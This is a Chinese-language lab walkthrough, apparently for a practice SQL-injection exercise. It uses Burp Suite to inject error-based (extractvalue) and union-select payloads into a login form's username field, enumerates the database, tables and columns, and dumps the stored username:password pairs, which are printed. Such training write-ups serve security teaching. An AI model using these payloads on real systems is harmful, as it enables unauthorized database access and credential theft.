1.我们用burpsuit,抓包修改参数
(1)输入admin admin登录,抓包,发送到repeater模块
2.使用extractvalue 测试 payload
(1)输入:uname=admin' and 1=1 --+ &passwd=admin&submit=Submit
可以登录
(2)输入:uname=admin' and 1=2 --+ &passwd=admin&submit=Submit
发现无法登录
说明注入有效,存在报错型注入,接下来又是重复性的工作,上extractvalue()
(3)爆库:uname=admin' and extractvalue(1,concat(0x7e,(select database()))) --+ &passwd=admin&submit=Submit
(4)爆表:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ &passwd=admin&submit=Submit
只能查询到前几个表,后面加上 not in() 就可以查到其他的表了,如:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database() and table_name not in('emails')))) --+ &passwd=admin&submit=Submit
(5)这里没有发现更多的表了,而users表应该是存放用户信息的,所以我们进行下一步,爆列名:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+ &passwd=admin&submit=Submit
因为没有咱们需要的password,username,把一些不需要的列名消除掉:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')))) --+ &passwd=admin&submit=Submit
我们发现后面确实有咱们需要的password,username
(6)爆值:uname=admin' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users))) --+ &passwd=admin&submit=Submit
通过 not in(),我们可以找到所有的用户名和密码
Dumb:Dumb Angelinal:I-kill-you Dummy:p@ssword secure:crappy stupid:stupidiry superman:genious batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4
3.联合查询union select 测试payload
(1)uname=0' union select 1,2 --+ &passwd=admin&submit=Submit
注意 uname是错误的,才能显示联合查询内容
可以注入;
(2)爆库:uname=0' union select 1,database() --+ &passwd=admin&submit=Submit
(3)爆表:uname=0' union select 1,group_concat(table_name)from information_schema.tables where table_schema="security" --+ &passwd=admin&submit=Submit
(4)users表应该是存放用户信息的,所以我们进行下一步,爆列名:uname=0' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" --+ &passwd=admin&submit=Submit
确实有username和password;
(5)爆值:uname=0' union select 1,group_concat(username,0x3a,password) from users --+ &passwd=admin&submit=Submit
这样我们也可以看到所有的登录用户和密码:
Dumb:Dumb Angelinal:I-kill-you Dummy:p@ssword secure:crappy stupid:stupidiry superman:genious batman:mob!le admin:admin admin1:admin1 admin2:admin2 admin3:admin3 dhakkan:dumbo admin4:admin4